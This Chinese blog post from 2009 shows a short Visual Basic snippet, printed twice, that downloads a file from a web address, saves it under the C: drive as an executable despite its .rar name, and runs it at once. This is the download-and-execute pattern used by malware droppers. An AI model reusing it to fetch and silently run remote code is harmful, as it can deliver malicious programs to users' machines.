Nov
18
VB下载文件的方法
雪糕先生 2009/11/18 21:01
用VB下载网络文件,改名保存到本地磁盘并运行,代码如下:
引用
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
sub cmmand1_click()
R= URLDownloadToFile(0,"http://www.btoss.com/test.rar" , "c:\ok.exe", 0, 0)
shell "c:\ok.exe"
end sub
sub cmmand1_click()
R= URLDownloadToFile(0,"http://www.btoss.com/test.rar" , "c:\ok.exe", 0, 0)
shell "c:\ok.exe"
end sub
分类
热门文章
- [45768]五种方法安装Windows...
- [29206]您可能需要与该网络的 in...
- [14299]开机自动检测网络状态运行程...
- [14238]2012东埔英歌舞
- [12722]APMServ一键快速搭建...
- [12600]双路由器上网的连接和设置方...
- [12541]Google提供的免费天气...
- [12499]各种BIOS的设置细解
- [12474]EvaPhone - 无需...
- [12176]雪糕乐园小游戏集2.04版...